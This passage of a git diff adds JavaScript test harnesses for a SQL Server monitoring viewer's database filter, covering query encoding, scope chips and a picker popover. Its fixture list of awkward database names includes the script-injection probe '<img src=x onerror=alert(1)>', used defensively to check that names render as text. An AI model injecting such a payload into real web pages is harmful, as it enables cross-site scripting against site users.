+const out = {};
+const scenarios = {
+  /* Every SQL Server tab with a filter active: the chip on every panel heading, tab by tab. */
+  mixed: async () => {
+    const r = await buildTabs(["SalesDb", "Orders"]);
+    out.tabs = r.tabs;
+    out.tabIds = tabs.SERVER_TABS.map((t) => t.id);
+  },
+  /* The same tabs with no filter, and with an emptied one: no chip anywhere. */
+  none: async () => {
+    const none = await buildTabs(null);
+    out.noFilter = Object.values(none.tabs).flat().filter((h) => h.chips > 0).length;
+    out.noFilterPanels = Object.values(none.tabs).flat().length;
+    const emptied = await buildTabs([]);
+    out.emptied = Object.values(emptied.tabs).flat().filter((h) => h.chips > 0).length;
+    globalThis.location.hash = "#/fleet";
+    util.setActiveDatabaseFilter({ server: "SRV1", databases: ["SalesDb"] });
+    const off = new FakeNode("div");
+    util.mount(off, panels.renderPanel({ title: "T", read: "get_deadlocks", params: { server: "SRV1" }, viz: "table", rowsKey: "rows", columns: [], emptyText: "none" }));
+    await settle();
+    out.offPage = headings(off);
+  },
+  /* renderPanel straight: each class, an override, and an identity read, which draws no chip. */
+  renderPanel: async () => {
+    globalThis.location.hash = "#/server/SRV1";
+    util.setActiveDatabaseFilter({ server: "SRV1", databases: ["SalesDb"] });
+    const one = async (desc) => {
+      const holder = new FakeNode("div");
+      util.mount(holder, panels.renderPanel({ viz: "table", rowsKey: "rows", columns: [], emptyText: "none", params: { server: "SRV1" }, ...desc }));
+      await settle();
+      return headings(holder)[0];
+    };
+    out.filtered = await one({ title: "F", read: "get_top_queries_by_cpu" });
+    out.unfiltered = await one({ title: "U", read: "get_deadlocks" });
+    out.server = await one({ title: "S", read: "get_cpu_utilization" });
+    out.identity = await one({ title: "I", read: "get_query_trend" });
+    out.plan = await one({ title: "P", read: "get_plan_xml" });
+    out.noRead = await one({ title: "N", path: "/api/x" });
+    out.overrideServer = await one({ title: "O1", read: "get_current_waits_trend", dbScope: "server" });
+    out.overrideUnfiltered = await one({ title: "O2", read: "get_blocking_stats", dbScope: "unfiltered" });
+    out.overrideProcessRows = await one({ title: "O3", read: "get_deadlock_detail", dbScope: "process-rows" });
+  },
+  /* The File I/O Latency subtitle (#5244 PR5): "per file" for exactly one chosen database, "per database and file type" for none,
+     two, or a one-database filter that belongs to another server. */
+  fileio: async () => {
+    const sub = async (names) => (await buildTabs(names)).tabs.io.find((h) => h.title === "File I/O Latency").sub;
+    out.one = await sub(["SalesDb"]);
+    out.two = await sub(["SalesDb", "Orders"]);
+    out.none = await sub(null);
+    out.emptied = await sub([]);
+    globalThis.location.hash = "#/server/SRV1";
+    util.setActiveDatabaseFilter({ server: "OTHER", databases: ["SalesDb"] });
+    const holder = new FakeNode("div");
+    util.mount(holder, tabs.fileIoPanel("SRV1", { hours: 24, label: "last 24h" }));
+    await settle();
+    out.otherServer = headings(holder)[0].sub;
+  },
+  /* One database at a time, each of the six awkward names: the Top Queries panel's chip names it as text, and no markup was read. */
+  awkward: async () => {
+    out.names = [];
+    for (const name of AWKWARD) {
+      const r = await buildTabs([name]);
+      const top = r.tabs.queries.find((h) => h.title === "Top Queries by CPU");
+      out.names.push({ name, state: top.state, text: top.text, chipTitle: top.chipTitle, chipChildren: top.chipChildren, imgs: r.imgs });
+    }
+    const all = await buildTabs(AWKWARD);
+    const top = all.tabs.queries.find((h) => h.title === "Top Queries by CPU");
+    out.all = { state: top.state, text: top.text, chipTitle: top.chipTitle, lines: top.chipTitle.split("\n"), imgs: all.imgs };
+  },
+};
+
+/* The empty text of the three snapshot panels (#5244): the reads answer a snapshot with an empty `databases` list, as they do when the
+   filter matches no database. A text node is the strip's only child, so the strips' text is read back by class. */
+const emptyStrips = (root) => {
+  const found = [];
+  walk(root, (node) => {
+    if (node.attrs.class === "strip empty" || node.className === "strip empty") found.push(node.textContent);
+  });
+  return found;
+};
+scenarios.emptyText = async () => {
+  const SNAPSHOT_READS = ["get_database_config", "get_database_scoped_config", "get_query_store_health"];
+  let mode = "snapshot";
+  globalThis.fetch = async (url) => {
+    const tool = String(url).replace(/^\/api\/read\//, "").split("?")[0];
+    if (!SNAPSHOT_READS.includes(tool)) return { status: 200, ok: true, text: async () => "{}" };
+    const body = mode === "snapshot" ? { captured_at: "2026-01-01T00:00:00Z", database_count: 0, databases: [] } : { status: "not_collected", message: "Nothing collected for this server yet." };
+    return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+  };
+  const panelTexts = async () => {
+    const texts = [];
+    for (const tab of tabs.SERVER_TABS) {
+      const holder = new FakeNode("div");
+      util.mount(holder, tab.build("SRV1", { hours: 24, label: "last 24 hours" }));
+      await settle();
+      texts.push(...emptyStrips(holder));
+    }
+    return texts;
+  };
+  const templateText = async () => {
+    const holder = new FakeNode("div");
+    util.mount(holder, panels.renderPanel({ title: "T", read: "get_database_config", params: { server: "SRV1" }, viz: "table", rowsKey: "databases", columns: [{ key: "database_name", label: "Database" }], emptyText: "No database configuration snapshot yet." }));
+    await settle();
+    return emptyStrips(holder);
+  };
+  globalThis.location.hash = "#/server/SRV1";
+  util.setActiveDatabaseFilter({ server: "SRV1", databases: ["NoSuchDb"] });
+  out.filtered = await panelTexts();
+  out.filteredTemplate = await templateText();
+  mode = "none";
+  out.filteredNoSnapshot = await panelTexts();
+  mode = "snapshot";
+  util.setActiveDatabaseFilter(null);
+  out.unfiltered = await panelTexts();
+  out.unfilteredTemplate = await templateText();
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+await chosen();
+console.log(JSON.stringify({ ...out, rejections }));
diff --git a/Darling/Darling.Tests/web-database-filter-harness.mjs b/Darling/Darling.Tests/web-database-filter-harness.mjs
new file mode 100644
index 0000000000..db67e9aea2
--- /dev/null
+++ b/Darling/Darling.Tests/web-database-filter-harness.mjs
@@ -0,0 +1,333 @@
+/* Runs the web viewer's database filter (#5244, #5245): wwwroot/js/util.js (readTool, buildQuery, dbScopeChip),
+   database-filter-reads.js (the four read classes) and pages/server-tabs.js, with a stand-in DOM and a recording fetch,
+   and prints what the reads sent and what the chips drew as one line of JSON. WebDatabaseFilterBehaviourTests starts it as
+       node web-database-filter-harness.mjs <path to wwwroot/js> <scenario>
+   The whole js tree is copied into a scratch folder first, then the stand-ins are written over it: charts.js (the SVG
+   renderer needs a real browser) always, and for the "seeded" scenarios database-filter-reads.js, which wraps the real
+   module and moves reads into FILTERED. The shipped FILTERED list is empty until the pages that wire a read to the
+   filter land, so a scenario that needs a filtered read seeds one; the plain census runs the module exactly as shipped.
+   `fetch` and the DOM are the only other stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.location = { hash: "#/server/SRV1" };
+
+/* Every request, in order. `answer` is what the page reads back. */
+const fetches = [];
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+/* The scenarios that need a filtered read seed FILTERED: "injection" and "chips" with a few reads the server tabs fetch,
+   "censusSeeded" with every database-scoped read but the three deadlock reads, which stay unfiltered by design. */
+const SEEDED = new Set(["injection", "chips", "censusSeeded"]);
+const SEED_ALL_BUT_DEADLOCKS = scenario === "censusSeeded";
+const SEED_SOME = ["get_top_queries_by_cpu", "get_active_queries", "get_query_store_top"];
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "database-filter-"));
+let modules;
+try {
+  /* The whole js tree (js/, js/pages/ and every subdirectory) is copied rather than a hand-kept list (#5279), so a module a
+     later PR adds needs no edit here. Every stand-in below is written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    "export const SERIES_COLORS = ['#111', '#222', '#333', '#444', '#555', '#666'];\n" +
+      "export const CATEGORICAL_COLORS = SERIES_COLORS;\n" +
+      "export function normalizeColor(color) { return color; }\n" +
+      "export function renderLineChart() { return document.createElement('div'); }\n" +
+      "export function zoomableLineChart() { return document.createElement('div'); }\n" +
+      "export function chartZoomScope() { return ''; }\n"
+  );
+  if (SEEDED.has(scenario)) {
+    fs.copyFileSync(path.join(scratch, "database-filter-reads.js"), path.join(scratch, "database-filter-reads-real.js"));
+    fs.writeFileSync(
+      path.join(scratch, "database-filter-reads.js"),
+      'import * as real from "./database-filter-reads-real.js";\n' +
+        "const DEADLOCKS = new Set(['get_deadlock_trend', 'get_deadlocks', 'get_deadlock_detail']);\n" +
+        "const seed = " + (SEED_ALL_BUT_DEADLOCKS ? "[...real.UNFILTERED].filter((t) => !DEADLOCKS.has(t))" : JSON.stringify(SEED_SOME)) + ";\n" +
+        "export const FILTERED = new Set([...real.FILTERED, ...seed]);\n" +
+        "export const UNFILTERED = new Set([...real.UNFILTERED].filter((t) => !FILTERED.has(t)));\n" +
+        "export const IDENTITY = real.IDENTITY;\n" +
+        "export const SERVER_WIDE = real.SERVER_WIDE;\n" +
+        "export function readScope(tool) {\n" +
+        "  return FILTERED.has(tool) ? 'filtered' : UNFILTERED.has(tool) ? 'unfiltered' : IDENTITY.has(tool) ? 'identity' : SERVER_WIDE.has(tool) ? 'server' : null;\n" +
+        "}\n"
+    );
+  }
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    scopes: await load("database-filter-reads.js"),
+    tabs: scenario.startsWith("census") ? await load(path.join("pages", "server-tabs.js")) : null,
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const { util, scopes } = modules;
+const data = (body) => ({ status: 200, body });
+const settle = async () => {
+  for (let i = 0; i < 200; i++) await new Promise((r) => setImmediate(r));
+};
+/* The request a read sent, as the page built it (path and query string, still encoded). */
+const sent = async (tool, params) => {
+  const before = fetches.length;
+  await util.readTool(tool, params);
+  return fetches.slice(before);
+};
+const keys = (url, name) => new URL(url, "http://viewer.test").searchParams.getAll(name);
+
+/* The six names a database can have that a careless list would mangle: a comma, a closing bracket, a leading space, a
+   quote, a percent and a plus, and markup. Each must reach the wire as ONE key holding exactly that name. */
+const AWKWARD = ["A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>"];
+
+const out = {};
+const scenarios = {
+  // buildQuery: an array is repeated keys, one encodeURIComponent per name, and nothing for an empty array.
+  query: () => {
+    const six = util.buildQuery({ database_name: AWKWARD });
+    out.empty = util.buildQuery({ server: "SRV1", database_name: [] });
+    out.comma = util.buildQuery({ database_name: ["A,B"] });
+    out.pair = util.buildQuery({ server: "SRV1", database_name: ["SalesDb", "Orders"], hours: 4 });
+    out.six = six;
+    out.sixParts = six.slice(1).split("&");
+    out.sixDecoded = out.sixParts.map((part) => decodeURIComponent(part.slice("database_name=".length)));
+    out.sixViaUrl = keys("/x" + six, "database_name");
+    out.scalar = util.buildQuery({ a: "x y", b: null, c: "", d: 0, e: undefined, f: false });
+    out.none = util.buildQuery(null);
+  },
+
+  // readTool injection: only the active server's FILTERED reads, only on a server page, and an explicit name wins.
+  injection: async () => {
+    const names = ["SalesDb", "Orders"];
+    const active = (hash = "#/server/SRV1") => {
+      globalThis.location.hash = hash;
+      util.setActiveDatabaseFilter({ server: "SRV1", databases: names });
+    };
+    active();
+    out.filtered = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+    out.unsetName = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4, database_name: undefined });
+    out.emptyName = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4, database_name: "" });
+    out.explicit = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4, database_name: "Other" });
+    out.explicitArray = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4, database_name: ["X", "Y"] });
+    out.otherServer = await sent("get_top_queries_by_cpu", { server: "SRV2", hours: 4 });
+    out.noServer = await sent("get_top_queries_by_cpu", { hours: 4 });
+    out.unfilteredRead = await sent("get_deadlocks", { server: "SRV1", hours: 4 });
+    out.serverWideRead = await sent("get_cpu_utilization", { server: "SRV1", hours: 4 });
+    out.identityRead = await sent("get_query_trend", { server: "SRV1", query_hash: "0x1", database_name: "Sales" });
+    out.identityNoName = await sent("get_query_trend", { server: "SRV1", query_hash: "0x1" });
+    out.planRead = await sent("get_plan_xml", { server: "SRV1", query_hash: "0x1", database_name: "Sales" });
+    out.pgRead = await sent("get_pg_top_queries", { server: "SRV1", hours: 4 });
+    const own = { server: "SRV1", hours: 4 };
+    await sent("get_top_queries_by_cpu", own);
+    out.callerParamsAfter = Object.keys(own);
+    out.filterNames = names;
+
+    // The page's custom range anchors the same read; both ride the one request.
+    util.setActiveRange({ server: "SRV1", hours: 4, startMs: Date.parse("2026-01-02T07:15:00.000Z"), endMs: Date.parse("2026-01-02T10:30:00.000Z"), asOf: "2026-01-02T10:30:00.000Z" });
+    out.withRange = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+    util.setActiveRange(null);
+
+    // A read narrowed to the hours the store keeps is asked again; the retry carries the keys too.
+    let refused = false;
+    answer = (url) => {
+      if (url.pathname.endsWith("get_top_queries_by_cpu") && url.searchParams.get("hours") === "720" && !refused) {
+        refused = true;
+        return { status: 400, body: { status: "invalid", message: "hours_back value '720' exceeds maximum of 168 hours (7 days). Use a smaller value." } };
+      }
+      return data({});
+    };
+    const before = fetches.length;
+    await util.readToolWithinKeptHistory("get_top_queries_by_cpu", { server: "SRV1", hours: 720 });
+    out.keptHistory = fetches.slice(before);
+    answer = () => data({});
+
+    // Off the server page, with no filter, with an emptied filter, and with a filter for another server: nothing is added.
+    active("#/fleet");
+    out.offPage = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+    active();
+    util.setActiveDatabaseFilter(null);
+    out.cleared = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+    util.setActiveDatabaseFilter({ server: "SRV1", databases: [] });
+    out.emptied = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+    util.setActiveDatabaseFilter({ databases: names });
+    out.noFilterServer = await sent("get_top_queries_by_cpu", { hours: 4 });
+    util.setActiveDatabaseFilter({ server: "SRV2", databases: names });
+    out.filterForOtherServer = await sent("get_top_queries_by_cpu", { server: "SRV1", hours: 4 });
+  },
+
+  // dbScopeChip: filtered, unfiltered, server-wide and process-rows, and none for an identity read.
+  chips: () => {
+    const describe = (chip) =>
+      chip === null
+        ? null
+        : {
+            state: chip.dataset.dbScope,
+            text: chip.textContent,
+            title: chip.getAttribute("title"),
+            className: chip.className,
+            childElements: chip.children.length,
+          };
+    const withNames = (names, hash = "#/server/SRV1") => {
+      globalThis.location.hash = hash;
+      util.setActiveDatabaseFilter({ server: "SRV1", databases: names });
+    };
+    withNames(["SalesDb"]);
+    out.one = {
+      filtered: describe(util.dbScopeChip("get_top_queries_by_cpu")),
+      unfiltered: describe(util.dbScopeChip("get_database_sizes", "unfiltered")),
+      deadlock: describe(util.dbScopeChip("get_deadlocks")),
+      server: describe(util.dbScopeChip("get_cpu_utilization")),
+      identity: describe(util.dbScopeChip("get_query_trend")),
+      plan: describe(util.dbScopeChip("get_plan_xml")),
+      unknown: describe(util.dbScopeChip("get_pg_top_queries")),
+      noRead: describe(util.dbScopeChip(undefined)),
+      overrideServer: describe(util.dbScopeChip("get_current_waits_trend", "server")),
+      overrideUnfiltered: describe(util.dbScopeChip("get_blocking_stats", "unfiltered")),
+      overrideDeadlock: describe(util.dbScopeChip("get_deadlock_detail", "unfiltered")),
+      processRows: describe(util.dbScopeChip("get_deadlock_detail", "process-rows")),
+      unknownOverride: describe(util.dbScopeChip("get_deadlocks", "nonsense")),
+    };
+    withNames(["SalesDb", "Orders", AWKWARD[5]]);
+    out.three = {
+      filtered: describe(util.dbScopeChip("get_top_queries_by_cpu")),
+      processRows: describe(util.dbScopeChip("get_deadlock_detail", "process-rows")),
+    };
+    withNames([AWKWARD[5]]);
+    out.markup = describe(util.dbScopeChip("get_top_queries_by_cpu"));
+    withNames(AWKWARD);
+    out.awkward = describe(util.dbScopeChip("get_top_queries_by_cpu"));
+    util.setActiveDatabaseFilter(null);
+    out.none = {
+      filtered: describe(util.dbScopeChip("get_top_queries_by_cpu")),
+      unfiltered: describe(util.dbScopeChip("get_database_sizes", "unfiltered")),
+      server: describe(util.dbScopeChip("get_cpu_utilization", "server")),
+      processRows: describe(util.dbScopeChip("get_deadlock_detail", "process-rows")),
+    };
+    util.setActiveDatabaseFilter({ server: "SRV1", databases: [] });
+    out.emptied = describe(util.dbScopeChip("get_database_sizes"));
+    withNames(["SalesDb"], "#/fleet");
+    out.offPage = describe(util.dbScopeChip("get_database_sizes"));
+    withNames(["SalesDb"], "#/views");
+    out.viewsPage = describe(util.dbScopeChip("get_cpu_utilization"));
+    withNames(["SalesDb"]);
+    out.state = {
+      filtered: util.dbScopeState("get_top_queries_by_cpu"),
+      unfiltered: util.dbScopeState("get_database_sizes", "unfiltered"),
+      server: util.dbScopeState("get_cpu_utilization"),
+      identity: util.dbScopeState("get_query_trend"),
+      processRows: util.dbScopeState("get_deadlock_detail", "process-rows"),
+    };
+  },
+};
+
+/* The runtime census: every SQL Server tab is built against a stub fetch with a filter active, and each read the tabs made
+   is checked against the four classes. */
+const CENSUS_NAMES = ["Filter,A", "Filter]B", " Filter C"];
+const census = async () => {
+  globalThis.location.hash = "#/server/SRV1";
+  util.setActiveDatabaseFilter({ server: "SRV1", databases: CENSUS_NAMES });
+  const classes = [scopes.FILTERED, scopes.UNFILTERED, scopes.IDENTITY, scopes.SERVER_WIDE];
+  const requests = [];
+  const holders = [];
+  for (const tab of modules.tabs.SERVER_TABS) {
+    const before = fetches.length;
+    const holder = new FakeNode("div");
+    util.mount(holder, tab.build("SRV1", { hours: 24, label: "last 24 hours" }));
+    holders.push(holder);
+    await settle();
+    for (const url of fetches.slice(before)) requests.push({ tab: tab.id, url });
+  }
+  out.tabs = modules.tabs.SERVER_TABS.length;
+  out.requests = requests.length;
+  const reads = requests.filter((r) => r.url.startsWith("/api/read/"));
+  const tool = (r) => new URL(r.url, "http://viewer.test").pathname.replace("/api/read/", "");
+  out.tools = [...new Set(reads.map(tool))].sort();
+  out.unclassified = out.tools.filter((t) => classes.every((c) => !c.has(t)));
+  out.inSeveralClasses = out.tools.filter((t) => classes.filter((c) => c.has(t)).length > 1);
+  const injected = (r) => CENSUS_NAMES.some((n) => keys(r.url, "database_name").includes(n));
+  const whole = (r) => JSON.stringify(keys(r.url, "database_name")) === JSON.stringify(CENSUS_NAMES);
+  /* A FILTERED request carries the keys: every chosen name, in order, unless its panel named a database of its own. */
+  const filtered = reads.filter((r) => scopes.FILTERED.has(tool(r)));
+  out.filteredReads = [...new Set(filtered.map(tool))].sort();
+  out.filteredRequests = filtered.length;
+  out.filteredWithKeys = filtered.filter(whole).length;
+  out.filteredMissingKeys = filtered.filter((r) => !whole(r) && keys(r.url, "database_name").length === 0).map((r) => r.tab + ": " + r.url);
+  out.filteredPartialKeys = filtered.filter((r) => !whole(r) && injected(r)).map((r) => r.tab + ": " + r.url);
+  out.filteredExplicit = filtered.filter((r) => !whole(r) && !injected(r) && keys(r.url, "database_name").length > 0).map((r) => r.tab + ": " + r.url);
+  /* No other request carries them, an identity read or a read of a page endpoint included. */
+  out.strayKeys = requests.filter((r) => !(r.url.startsWith("/api/read/") && scopes.FILTERED.has(tool(r))) && injected(r)).map((r) => r.tab + ": " + r.url);
+  out.scopes = Object.fromEntries(["FILTERED", "UNFILTERED", "IDENTITY", "SERVER_WIDE"].map((n) => [n, scopes[n].size]));
+  return holders;
+};
+scenarios.census = census;
+scenarios.censusSeeded = census;
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+await chosen();
+await settle();
+
+console.log(JSON.stringify({ ...out, fetches: scenario.startsWith("census") ? undefined : fetches, rejections }));
diff --git a/Darling/Darling.Tests/web-database-filter-picker-harness.mjs b/Darling/Darling.Tests/web-database-filter-picker-harness.mjs
new file mode 100644
index 0000000000..470aabf7d7
--- /dev/null
+++ b/Darling/Darling.Tests/web-database-filter-picker-harness.mjs
@@ -0,0 +1,442 @@
+/* Runs the shipped server page (wwwroot/js/pages/server.js) with the real database-filter picker (pages/database-filter.js), the
+   real multi-picker.js, viewer-local.js, util.js and panels.js on a small fake DOM and a recording fetch, and prints as one line of
+   JSON what the page drew and what the panels would read (#5245). WebDatabaseFilterPickerBehaviourTests starts it as
+       node web-database-filter-picker-harness.mjs <path to wwwroot/js> <scenario>
+   Only the DOM, fetch, localStorage, charts.js and the tab registry (pages/server-tabs.js: one tab that records the filter it was
+   built under) are stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) {
+    this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = "";
+    this.className = ""; this.dataset = {}; this.value = ""; this.checked = false; this.disabled = false; this.hidden = false; this.isRoot = false;
+  }
+  get firstChild() { return this.children[0] || null; }
+  get nextSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i >= 0 ? this.parent.children[i + 1] || null : null; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n.isRoot; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children.forEach((c) => (c.parent = null)); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return k in this.attrs ? this.attrs[k] : null; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  insertBefore(c, ref) {
+    if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c);
+    c.parent = this;
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(c); else this.children.splice(i, 0, c);
+    return c;
+  }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  remove() { if (this.parent) this.parent.removeChild(this); }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  all(tag, acc = []) { for (const c of this.children) { if (c.tag === tag) acc.push(c); c.all(tag, acc); } return acc; }
+  every(pred, acc = []) { for (const c of this.children) { if (pred(c)) acc.push(c); c.every(pred, acc); } return acc; }
+  byClass(cls) { return this.every((n) => (" " + n.className + " ").includes(" " + cls + " ")); }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+globalThis.location = { hash: "#/server/SRV1/cpu" };
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+/* ── the browser's storage, optionally holding an earlier choice ── */
+const KEY = "darling.local.dbFilter.v1";
+const data = {};
+globalThis.localStorage = {
+  getItem: (k) => (Object.prototype.hasOwnProperty.call(data, k) ? data[k] : null),
+  setItem: (k, v) => { data[k] = String(v); },
+  removeItem: (k) => { delete data[k]; },
+};
+const stored = () => (data[KEY] ? JSON.parse(data[KEY]).servers : {});
+const storeChoice = (id, names) => { data[KEY] = JSON.stringify({ v: 1, servers: { [id]: names } }); };
+
+/* ── the scripted fetch ── */
+const urls = [];
+let card = { server_id: 7, server_name: "SRV1", display_name: "SRV1", is_postgres: false, engine_description: "SQL Server" };
+let fleetOk = true;
+let inventory = [];
+let inventoryStatus = 200;
+let inventoryCut = false; // the route answered truncated: true
+let searchHandler = null; // (text) => { names, cut, delay }: the route's answer to a request that carries search=
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  urls.push(u);
+  if (u.startsWith("/api/fleet")) {
+    if (!fleetOk) return { status: 500, ok: false, text: async () => JSON.stringify({ error: "down" }) };
+    return { status: 200, ok: true, text: async () => JSON.stringify({ cards: [card] }) };
+  }
+  if (u.startsWith("/api/server-databases")) {
+    if (inventoryStatus !== 200) return { status: inventoryStatus, ok: false, text: async () => JSON.stringify({ error: "no list" }) };
+    const q = new URL(u, "http://x").searchParams.get("search");
+    if (q !== null && searchHandler) {
+      const a = searchHandler(q);
+      if (a.delay) await new Promise((r) => setTimeout(r, a.delay));
+      return { status: 200, ok: true, text: async () => JSON.stringify({ server: "SRV1", databases: a.names, truncated: a.cut === true }) };
+    }
+    return { status: 200, ok: true, text: async () => JSON.stringify({ server: "SRV1", databases: inventory, truncated: inventoryCut }) };
+  }
+  return { status: 200, ok: true, text: async () => "{}" };
+};
+const settle = () => new Promise((r) => setTimeout(r, 25));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "db-filter-picker-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport const CATEGORICAL_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  fs.writeFileSync(
+    path.join(scratch, "pages", "server-tabs.js"),
+    'import { el, getActiveDatabaseFilter } from "../util.js";\n' +
+      "const tab = { id: 'cpu', label: 'CPU', build(server) { (globalThis.__builds ||= []).push({ server, filter: getActiveDatabaseFilter() }); return el('div', { class: 'stub-panel' }); } };\n" +
+      "export const SERVER_TABS = [tab];\nexport const POSTGRES_TABS = [tab];\n" +
+      "export function serverTabsFor(card) { return card && card.is_postgres === true ? POSTGRES_TABS : SERVER_TABS; }\n" +
+      "export function isPostgresTarget(card) { return !!card && card.is_postgres === true; }\n" +
+      "export function findServerTab(id, tabs) { const r = tabs || SERVER_TABS; return r.find((t) => t.id === id) || r[0]; }\n" +
+      "export function tabNote() { return null; }\n"
+  );
+
+  const names = (n, prefix = "db") => Array.from({ length: n }, (_, i) => prefix + String(i).padStart(2, "0"));
+  const six = ["A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>"];
+  const long = (n) => Array.from({ length: n }, (_, i) => String(i).padStart(2, "0") + "中".repeat(60)); // 557 encoded bytes each
+
+  const out = {};
+  const scenarios = {
+    /* W9: the open popover survives the 60 s poll's rebuild but not a tab click or any other navigation. */
+    async tabChange() {
+      inventory = names(3);
+      const { page } = await open();
+      const ctl = () => ({ button: page.byClass("db-filter-button")[0], popover: page.byClass("db-filter-popover")[0] });
+      ctl().button.fire("click");
+      await settle();
+      out.openAfterClick = !ctl().popover.hidden;
+      const server = await import(pathToFileURL(path.join(scratch, "pages", "server.js")).href);
+      server.renderServer(page, "SRV1", "cpu", { poll: true });
+      await settle();
+      out.openAfterPoll = !ctl().popover.hidden;
+      server.renderServer(page, "SRV1", "cpu", {});
+      await settle();
+      out.openAfterNavigation = !ctl().popover.hidden;
+      out.expandedAfterNavigation = ctl().button.getAttribute("aria-expanded");
+    },
+    /* A PostgreSQL card gets no control, and no filter is active. */
+    async postgres() {
+      card = { ...card, is_postgres: true, engine_description: "PostgreSQL" };
+      storeChoice(7, ["A"]);
+      const { page, builds } = await open();
+      out.buttons = page.byClass("db-filter-button").length;
+      out.slotChildren = page.byClass("db-filter-slot")[0].children.length;
+      out.filters = builds().map((b) => b.filter);
+    },
+    /* No card (the fleet read failed): the button is disabled, and no filter is active. */
+    async unavailable() {
+      fleetOk = false;
+      storeChoice(7, ["A"]);
+      const { page, builds } = await open();
+      const b = page.byClass("db-filter-button");
+      out.labels = b.map((x) => x.textContent);
+      out.disabled = b.map((x) => x.getAttribute("disabled") !== null);
+      out.filters = builds().map((x) => x.filter);
+    },
+    /* Apply with every offered name checked stores exactly that set, never "All"; Apply redraws once; the label reads
+       "Databases: 2" until the inventory loads, then "Databases: 2 of 37"; "All databases" and an empty Apply clear. */
+    async applyExact() {
